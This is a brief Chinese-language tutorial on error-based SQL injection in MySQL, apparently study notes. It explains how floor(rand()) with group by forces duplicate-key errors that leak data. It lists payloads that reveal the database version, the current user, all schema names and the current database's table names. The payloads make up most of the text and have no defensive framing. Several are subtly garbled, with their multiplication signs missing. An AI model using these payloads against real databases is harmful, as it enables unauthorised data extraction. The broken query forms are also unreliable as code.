1.自报家底

自报家底：没有错误也要制造错误，并把查询的信息让错误带出来告诉注入者到底有什么东西，把所有家底能透露的都透露了。

相关函数：If(),rand(),floor(),ifnull(),concat,group_concat()#### 2.自报家底暴露用户名 1.原理： Select count() ,floor(rand()2) as a from users group by a;

2为因子数，数字越小，冲突可能性越大。最小为2.

2.暴露系统用户名敏感信息

Select count(),concat(version(),floor(rand()2),user()) as a from users group by a;#### 3.暴露所有库名，表名

所有库名： select count(),concat((select (select (SELECT schema_name FROM information_schema.schemata limit 0,1)) as a_col from information_schema.tables limit 0,1),floor(rand(0)2)) x_col from information_schema.tables group by x_col

所有表名： select count(),concat((select (select (SELECT table_name FROM information_schema.tables where table_schema=database() limit 0,1)) as a_col from information_schema.tables limit 0,1),floor(rand(0)2))x_col from information_schema.tables group by x_col